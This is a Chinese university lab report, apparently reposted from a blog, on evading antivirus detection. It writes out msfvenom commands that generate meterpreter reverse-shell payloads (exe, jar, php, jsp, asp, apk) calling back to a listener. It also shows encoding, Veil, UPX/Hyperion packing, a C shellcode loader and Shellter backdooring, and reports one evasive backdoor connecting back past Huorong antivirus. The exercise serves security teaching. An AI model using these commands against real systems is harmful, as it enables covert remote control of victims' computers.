• 2019-2020-2 20175319江野《网络对抗技术》Exp3 免杀原理与实践


    1 实验内容

    • 1.1 方法(3分)
      • 正确使用msf编码器(0.5分),
      • msfvenom生成如jar之类的其他文件(0.5分),
      • veil(0.5分),
      • 加壳工具(0.5分),
      • 使用C + shellcode编程(0.5分),
      • 使用其他课堂未介绍方法(0.5分)
    • 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
      (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
    • 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    1.1.1 正确使用msf编码器

    • VirusTotalvirscan
      集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
      如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
      Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。
      本实验使用VirusTotal进行检测
    • msfvenom直接生成meterpreter可执行文件,使用实验2中生成的20175319.exe进行检测,检出率为60/71,以此为参照。
    • Msfvenom使用编码器
      • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.100 LPORT=5319 -f exe > 20175319-encoded.exe进行一次编码

        检测结果
      • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.100 LPORT=5319 -f exe > 20175319-encoded10.exe编码10次

        检测结果
    • 结果显示,编码会略微降低检出率,但是基本没变化。

    1.1.2 msfvenom生成如jar之类的其他文件

    • 生成javamsfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 W >20175319.jar

      检测结果
    • 生成phpmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 -f raw >20175319.php

      检测结果
    • 生成jspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=5319 R >20175319.jsp

      检测结果
    • 生成aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 -f asp > 20175319.asp

      检测结果
    • 生成android文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 R >20175319.apk

      检测结果

    1.1.3 veil

    Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
    本次实验选择C语言进行

    检测结果

    1.1.4 加壳工具

    • 压缩壳UPX
      upx 20175319.exe -o 20175319upx.exe

      检测结果
    • 加密壳Hyperion
      还有一种,其实也算加壳,最早在2012年Hyperion文献中就有描述,也有软件实现。
      在Kali里有hyperion的实现
      进入文件夹/usr/share/windows-resources/hyperion/
      在Linux下,用Wine来执行windows应用在Linux下,用Wine来执行windows应用wine hyperion.exe -v 20175319.exe 20175319hyed.exe


      检测结果

    1.1.5 使用C+shellcode编程

    • 生成一个c语言格式的Shellcode数组msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5319 -f c
    • win10下使用vc6.0把上面的数组拿来编写C语言程序
    • 在win10下运行程序产生的文件会直接被删除

      因此把20175319.c拷到kali虚拟机中执行

      检测结果

    1.1.6 使用其他课堂未介绍方法——shellter

    • 本人使用的虚拟机自带了shellter,因此跳过安装部分
    • 输入shellter,出现下图
    • 输入A,选择自动模式,输入20175319sh.exe的绝对路径
    • 输入Y,以隐形模式进入
    • 输入L,编号选择1,即基于TCP的反向链接
    • 输入主机IP地址和监听的端口
    • 回车后,一个含有后门的文件制作成功
    • 再利用upx对文件进行加壳upx 20175319sh.exe -o 20175319shupx.exe

    • 检测结果

    1.2 通过组合应用各种技术实现恶意代码免杀

    步骤1.1.6中产生的20175319shupx.exe文件成功实现免杀

    1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    目标机:win10
    杀毒软件:火绒
    版本:5.0.41.7
    病毒库更新时间:2020-04-03

    回连测试

    2 实验中遇到的问题

    • 问题1:1.1.1中Msfvenom使用编码器时出现错误

      解决方案:经检查发现是老师指导书给出代码的‘’是中文字符,换成英文字符即可解决。

    3 基础问题回答

    • (1)杀软是如何检测出恶意代码的?
      • 1.基于特征码的检测
      • 2.启发式恶意软件检测
      • 3.基于行为的恶意软件检测
    • (2)免杀是做什么?
      对恶意软件进行处理,让它不被杀毒软件所检测。
    • (3)免杀的基本方法有哪些?
      • 改变特征码
      • 改变行为

    4 开启杀软能绝对防止电脑中恶意代码吗?

    不能,从本次实验可以看出,一些通过免杀操作的病毒软件无法被杀软识别出来。

    5 实验收获与感想

    本次实验我尝试了免杀的几种基本手段,在自己成功实现免杀以后,认识到仅仅依靠杀毒软件来实现计算机的安全防护是不够的,平时也应该多加小心,即时更新杀毒软件,多加注意进程操作,警惕异常现象。

  • 相关阅读:
    [ZJOI2006]书架
    luogu P3369 【模板】普通平衡树(splay)
    MegaCli是一款管理维护硬件RAID软件,可以通过它来了解当前raid卡的所有信息,包括 raid卡的型号,raid的阵列类型,raid 上各磁盘状态
    ipmi配置方法-20200328
    debian配置---->/etc/apt/sources.list apt基本源设置指南
    Alien 魔法:RPM 和 DEB 互转
    Debian 9 中设置网络
    SSH自动断开连接的原因-20200323
    mpstat命令
    dstat命令
  • 原文地址:https://www.cnblogs.com/killer-queen/p/12601253.html
Copyright © 2020-2023  润新知